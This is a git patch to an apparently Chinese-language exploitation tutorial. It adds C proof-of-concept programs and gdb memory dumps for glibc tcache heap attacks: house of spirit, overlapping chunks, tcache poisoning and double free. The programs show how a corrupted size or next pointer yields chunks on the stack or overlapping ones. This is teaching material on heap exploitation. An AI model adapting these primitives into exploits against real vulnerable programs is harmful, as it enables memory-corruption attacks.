From 033944eb84cae35dcf1295f6dcb9f67e9ffe92d6 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 28 Apr 2018 17:48:44 +0800 Subject: [PATCH] finish 4.14_glibc_tcache --- doc/4.14_glibc_tcache.md | 324 +++++++++++++++++- src/Others/4.14_glibc_tcache/Makefile | 6 + src/Others/4.14_glibc_tcache/tcache_dup.c | 10 +- .../tcache_house_of_spirit.c | 27 ++ .../tcache_overlapping_chunks.c | 28 ++ .../4.14_glibc_tcache/tcache_poisoning.c | 26 ++ 6 files changed, 411 insertions(+), 10 deletions(-) create mode 100644 src/Others/4.14_glibc_tcache/Makefile create mode 100644 src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c create mode 100644 src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c create mode 100644 src/Others/4.14_glibc_tcache/tcache_poisoning.c diff --git a/doc/4.14_glibc_tcache.md b/doc/4.14_glibc_tcache.md index e724d09..dae8dcc 100644 --- a/doc/4.14_glibc_tcache.md +++ b/doc/4.14_glibc_tcache.md @@ -284,13 +284,13 @@ tcache_get (size_t tc_idx) int main() { void *p1 = malloc(0x10); - printf("1st malloc(0x10): %p\n", p1); - printf("Freeing the first one\n"); + fprintf(stderr, "1st malloc(0x10): %p\n", p1); + fprintf(stderr, "Freeing the first one\n"); free(p1); - printf("Freeing the first one again\n"); + fprintf(stderr, "Freeing the first one again\n"); free(p1); - printf("2nd malloc(0x10): %p\n", malloc(0x10)); - printf("3rd malloc(0x10): %p\n", malloc(0x10)); + fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10)); + fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10)); } ``` ``` @@ -346,10 +346,324 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10 于是我们得到了两个指向同一块内存区域的指针。 #### tcache_house_of_spirit +```c +#include +#include +#include + +int main() { + malloc(1); // init heap + + fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunk[64] __attribute__ ((aligned (16))); + + fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]); + + fake_chunk[1] = 0x110; // the size + memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10); + + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]); + a = &fake_chunk[2]; + + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); + + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]); + b = malloc(0x100); + memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10); + fprintf(stderr, "malloc(0x100): %p\n", b); +} +``` +``` +$ ./tcache_house_of_spirit +We will overwrite a pointer to point to a fake 'smallbin' region. +The chunk: 0x7fffffffdb00 +Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00. +Freeing the overwritten pointer. +Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10! +malloc(0x100): 0x7fffffffdb10 +``` +tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin,而且比以前更加简单。 + +在栈上构造 fake chunk,大小为 smallbin: +``` +gdb-peda$ x/10gx fake_chunk +0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk +0x7fffffffdae0: 0x4141414141414141 0x4141414141414141 +0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb00: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb10: 0x4141414141414141 0x4141414141414141 +``` +free 掉之后,该 fake chunk 被放进 tcache bin: +``` +gdb-peda$ x/10gx fake_chunk +0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed] +0x7fffffffdae0: 0x0000000000000000 0x4141414141414141 +0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb00: 0x4141414141414141 0x4141414141414141 +0x7fffffffdb10: 0x4141414141414141 0x4141414141414141 +gdb-peda$ vmmap heap +Start End Perm Name +0x0000555555756000 0x0000555555777000 rw-p [heap] +gdb-peda$ x/30gx 0x0000555555756000+0x10 +0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts +0x555555756020: 0x0000000000000000 0x0000000000000000 +0x555555756030: 0x0000000000000000 0x0000000000000000 +0x555555756040: 0x0000000000000000 0x0000000000000000 +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x0000000000000000 0x0000000000000000 +0x555555756070: 0x0000000000000000 0x0000000000000000 +0x555555756080: 0x0000000000000000 0x0000000000000000 +0x555555756090: 0x0000000000000000 0x0000000000000000 +0x5555557560a0: 0x0000000000000000 0x0000000000000000 +0x5555557560b0: 0x0000000000000000 0x0000000000000000 +0x5555557560c0: 0x0000000000000000 0x00007fffffffdae0 <-- entries +0x5555557560d0: 0x0000000000000000 0x0000000000000000 +0x5555557560e0: 0x0000000000000000 0x0000000000000000 +0x5555557560f0: 0x0000000000000000 0x0000000000000000 +``` +最后 malloc 即可将 fake chunk 取出来: +``` +gdb-peda$ p b +$1 = (unsigned long long *) 0x7fffffffdae0 +gdb-peda$ p a +$2 = (unsigned long long *) 0x7fffffffdae0 +gdb-peda$ x/10gx fake_chunk +0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- new chunk +0x7fffffffdae0: 0x4242424242424242 0x4242424242424242 +0x7fffffffdaf0: 0x4242424242424242 0x4242424242424242 +0x7fffffffdb00: 0x4242424242424242 0x4242424242424242 +0x7fffffffdb10: 0x4242424242424242 0x4242424242424242 +``` +于是我们就在得到了一个在栈上的 chunk。 #### tcache_overlapping_chunks +```c +#include +#include +#include +#include + +int main() { + intptr_t *p1, *p2, *p3; + + p1 = malloc(0x50 - 8); + p2 = malloc(0x20 - 8); + memset(p1, 0x41, 0x50-8); + memset(p2, 0x41, 0x30-8); + fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1); + fprintf(stderr, "Allocated sentry element after victim: %p\n", p2); + + int evil_chunk_size = 0x110; + int evil_region_size = 0x110 - 8; + fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n"); + *(p1-1) = evil_chunk_size; + fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n"); + free(p1); + + p3 = malloc(evil_region_size); + memset(p3, 0x42, evil_region_size); + fprintf(stderr, "Requested a chunk of 0x100 bytes\n"); + fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size); + fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8); +} +``` +``` +$ ./tcache_overlapping_chunks +Allocated victim chunk with requested size 0x48: 0x555555756260 +Allocated sentry element after victim: 0x5555557562b0 +Emulating corruption of the victim's size to 0x110 +Freed victim chunk to put it in a different tcache bin +Requested a chunk of 0x100 bytes +p3: 0x555555756260 ~ 0x555555756368 +p2: 0x5555557562b0 ~ 0x5555557562c8 +``` +在 `_int_free()` 时,libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size,在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk,造成堆块重叠。 + +首先我们分配两个 chunk: +``` +gdb-peda$ x/16gx 0x555555756260-0x10 +0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1 +0x555555756260: 0x4141414141414141 0x4141414141414141 +0x555555756270: 0x4141414141414141 0x4141414141414141 +0x555555756280: 0x4141414141414141 0x4141414141414141 +0x555555756290: 0x4141414141414141 0x4141414141414141 +0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2 +0x5555557562b0: 0x4141414141414141 0x4141414141414141 +0x5555557562c0: 0x4141414141414141 0x0000000000000411 +``` +然后修改第一个的 size 并将其释放: +``` +gdb-peda$ x/16gx 0x555555756260-0x10 +0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed] +0x555555756260: 0x0000000000000000 0x4141414141414141 +0x555555756270: 0x4141414141414141 0x4141414141414141 +0x555555756280: 0x4141414141414141 0x4141414141414141 +0x555555756290: 0x4141414141414141 0x4141414141414141 +0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2 +0x5555557562b0: 0x4141414141414141 0x4141414141414141 +0x5555557562c0: 0x4141414141414141 0x0000000000000411 +gdb-peda$ vmmap heap +Start End Perm Name +0x0000555555756000 0x0000555555777000 rw-p [heap] +gdb-peda$ x/30gx 0x0000555555756000+0x10 +0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts +0x555555756020: 0x0000000000000000 0x0000000000000000 +0x555555756030: 0x0000000000000000 0x0000000000000000 +0x555555756040: 0x0000000000000000 0x0000000000000000 +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x0000000000000000 0x0000000000000000 +0x555555756070: 0x0000000000000000 0x0000000000000000 +0x555555756080: 0x0000000000000000 0x0000000000000000 +0x555555756090: 0x0000000000000000 0x0000000000000000 +0x5555557560a0: 0x0000000000000000 0x0000000000000000 +0x5555557560b0: 0x0000000000000000 0x0000000000000000 +0x5555557560c0: 0x0000000000000000 0x0000555555756260 <-- entries +0x5555557560d0: 0x0000000000000000 0x0000000000000000 +0x5555557560e0: 0x0000000000000000 0x0000000000000000 +0x5555557560f0: 0x0000000000000000 0x0000000000000000 +``` +可以看到 chunk p1 并没有放到它应该去的 tcache bin 中,而是放到了修改 size 后对应的 tcache bin。 + +最后将其 malloc 出来: +``` +gdb-peda$ p p3 +$1 = (intptr_t *) 0x555555756260 +gdb-peda$ p p2 +$2 = (intptr_t *) 0x5555557562b0 +gdb-peda$ p p1 +$3 = (intptr_t *) 0x555555756260 +gdb-peda$ x/36gx 0x555555756260-0x10 +0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p3 +0x555555756260: 0x4242424242424242 0x4242424242424242 +0x555555756270: 0x4242424242424242 0x4242424242424242 +0x555555756280: 0x4242424242424242 0x4242424242424242 +0x555555756290: 0x4242424242424242 0x4242424242424242 +0x5555557562a0: 0x4242424242424242 0x4242424242424242 <-- chunk p2 +0x5555557562b0: 0x4242424242424242 0x4242424242424242 +0x5555557562c0: 0x4242424242424242 0x4242424242424242 +0x5555557562d0: 0x4242424242424242 0x4242424242424242 +0x5555557562e0: 0x4242424242424242 0x4242424242424242 +0x5555557562f0: 0x4242424242424242 0x4242424242424242 +0x555555756300: 0x4242424242424242 0x4242424242424242 +0x555555756310: 0x4242424242424242 0x4242424242424242 +0x555555756320: 0x4242424242424242 0x4242424242424242 +0x555555756330: 0x4242424242424242 0x4242424242424242 +0x555555756340: 0x4242424242424242 0x4242424242424242 +0x555555756350: 0x4242424242424242 0x4242424242424242 +0x555555756360: 0x4242424242424242 0x0000000000000000 +``` +于是 chunk p2 被 chunk p3 覆盖了。 #### tcache_poisoning +```c +#include +#include +#include +#include + +int main() { + intptr_t *p1, *p2, *p3; + size_t target[10]; + printf("Our target is a stack region at %p\n", (void *)target); + + p1 = malloc(0x30); + memset(p1, 0x41, 0x30+8); + fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1); + + fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n"); + free(p1); + fprintf(stderr, "Emulating corruption of the next ptr\n"); + *p1 = (int64_t)target; + + fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n"); + p2 = malloc(0x30); + memset(p2, 0x42, 0x30+8); + p3 = malloc(0x30); + memset(p3, 0x42, 0x30+8); + fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3); +} +``` +``` +$ ./tcache_poisoning +Our target is a stack region at 0x7fffffffdcc0 +Allocated victim chunk with requested size 0x30 at 0x555555756670 +Freed victim chunk to put it in a tcache bin +Emulating corruption of the next ptr +Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target +The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0 +``` +该实例通过破坏 tcache bin 中 chunk 的 fd 指针,将其指向不同的位置,从而改变 `tcache_entry` 的 `next` 指针,在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。 + +分配一个 chunk p1 后释放,该 chunk 将被放入相应的 tcache bin,其 fd 指针被清空: +``` +gdb-peda$ x/10gx (void *)p1-0x10 +0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed] +0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer +0x555555756680: 0x4141414141414141 0x4141414141414141 +0x555555756690: 0x4141414141414141 0x4141414141414141 +0x5555557566a0: 0x4141414141414141 0x0000000000020961 +gdb-peda$ vmmap heap +Start End Perm Name +0x0000555555756000 0x0000555555777000 rw-p [heap] +gdb-peda$ x/12gx 0x0000555555756000+0x10 +0x555555756010: 0x0000000000010000 0x0000000000000000 <-- counts +0x555555756020: 0x0000000000000000 0x0000000000000000 +0x555555756030: 0x0000000000000000 0x0000000000000000 +0x555555756040: 0x0000000000000000 0x0000000000000000 +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries +``` +然后修改 fd 指针指向栈上的地址 target: +``` +gdb-peda$ x/10gx (void *)p1-0x10 +0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed] +0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer +0x555555756680: 0x4141414141414141 0x4141414141414141 +0x555555756690: 0x4141414141414141 0x4141414141414141 +0x5555557566a0: 0x4141414141414141 0x0000000000020961 +``` +接下来的第一次 malloc 将 chunk p1 的地方取出: +``` +gdb-peda$ x/10gx (void *)p1-0x10 +0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2 +0x555555756670: 0x4242424242424242 0x4242424242424242 +0x555555756680: 0x4242424242424242 0x4242424242424242 +0x555555756690: 0x4242424242424242 0x4242424242424242 +0x5555557566a0: 0x4242424242424242 0x0000000000020961 +gdb-peda$ x/12gx 0x0000555555756000+0x10 +0x555555756010: 0x0000000000000000 0x0000000000000000 +0x555555756020: 0x0000000000000000 0x0000000000000000 +0x555555756030: 0x0000000000000000 0x0000000000000000 +0x555555756040: 0x0000000000000000 0x0000000000000000 +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries +``` +可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。 + +第二次 malloc,虽然 tcache bin 的 counts 为 0,但它并没有做检查,直接在 entries 指向的地方返回了一个 chunk: +``` +gdb-peda$ x/10gx (void *)p3-0x10 +0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3 +0x7fffffffdc80: 0x4242424242424242 0x4242424242424242 +0x7fffffffdc90: 0x4242424242424242 0x4242424242424242 +0x7fffffffdca0: 0x4242424242424242 0x4242424242424242 +0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000 +``` +于是我们得到了一个在栈上的 chunk。exe + +有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`): +``` +gdb-peda$ x/12gx 0x0000555555756000+0x10 +0x555555756010: 0x0000000000ff0000 0x0000000000000000 +0x555555756020: 0x0000000000000000 0x0000000000000000 +0x555555756030: 0x0000000000000000 0x0000000000000000 +0x555555756040: 0x0000000000000000 0x0000000000000000 +0x555555756050: 0x0000000000000000 0x0000000000000000 +0x555555756060: 0x00000000000000c2 0x0000000000000000 +``` +看来这个机制仍然存在很多的问题啊。 这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。 diff --git a/src/Others/4.14_glibc_tcache/Makefile b/src/Others/4.14_glibc_tcache/Makefile new file mode 100644 index 0000000..f50ec84 --- /dev/null +++ b/src/Others/4.14_glibc_tcache/Makefile @@ -0,0 +1,6 @@ +PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup +CFLAGS += -Wpedantic -std=gnu11 -g + +all: $(PROGRAMS) +clean: + rm -f $(PROGRAMS) diff --git a/src/Others/4.14_glibc_tcache/tcache_dup.c b/src/Others/4.14_glibc_tcache/tcache_dup.c index d834423..724ac63 100644 --- a/src/Others/4.14_glibc_tcache/tcache_dup.c +++ b/src/Others/4.14_glibc_tcache/tcache_dup.c @@ -3,11 +3,11 @@ int main() { void *p1 = malloc(0x10); - printf("1st malloc(0x10): %p\n", p1); - printf("Freeing the first one\n"); + fprintf(stderr, "1st malloc(0x10): %p\n", p1); + fprintf(stderr, "Freeing the first one\n"); free(p1); - printf("Freeing the first one again\n"); + fprintf(stderr, "Freeing the first one again\n"); free(p1); - printf("2nd malloc(0x10): %p\n", malloc(0x10)); - printf("3rd malloc(0x10): %p\n", malloc(0x10)); + fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10)); + fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10)); } diff --git a/src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c b/src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c new file mode 100644 index 0000000..ae7c806 --- /dev/null +++ b/src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c @@ -0,0 +1,27 @@ +#include +#include +#include + +int main() { + malloc(1); // init heap + + fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunk[64] __attribute__ ((aligned (16))); + + fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]); + + fake_chunk[1] = 0x110; // the size + memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10); + + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]); + a = &fake_chunk[2]; + + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); + + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]); + b = malloc(0x100); + memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10); + fprintf(stderr, "malloc(0x100): %p\n", b); +} diff --git a/src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c b/src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c new file mode 100644 index 0000000..bc12ba2 --- /dev/null +++ b/src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include + +int main() { + intptr_t *p1, *p2, *p3; + + p1 = malloc(0x50 - 8); + p2 = malloc(0x20 - 8); + memset(p1, 0x41, 0x50-8); + memset(p2, 0x41, 0x30-8); + fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1); + fprintf(stderr, "Allocated sentry element after victim: %p\n", p2); + + int evil_chunk_size = 0x110; + int evil_region_size = 0x110 - 8; + fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n"); + *(p1-1) = evil_chunk_size; + fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n"); + free(p1); + + p3 = malloc(evil_region_size); + memset(p3, 0x42, evil_region_size); + fprintf(stderr, "Requested a chunk of 0x100 bytes\n"); + fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size); + fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8); +} diff --git a/src/Others/4.14_glibc_tcache/tcache_poisoning.c b/src/Others/4.14_glibc_tcache/tcache_poisoning.c new file mode 100644 index 0000000..6761c07 --- /dev/null +++ b/src/Others/4.14_glibc_tcache/tcache_poisoning.c @@ -0,0 +1,26 @@ +#include +#include +#include +#include + +int main() { + intptr_t *p1, *p2, *p3; + size_t target[10]; + printf("Our target is a stack region at %p\n", (void *)target); + + p1 = malloc(0x30); + memset(p1, 0x41, 0x30+8); + fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1); + + fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n"); + free(p1); + fprintf(stderr, "Emulating corruption of the next ptr\n"); + *p1 = (int64_t)target; + + fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n"); + p2 = malloc(0x30); + memset(p2, 0x42, 0x30+8); + p3 = malloc(0x30); + memset(p3, 0x42, 0x30+8); + fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3); +}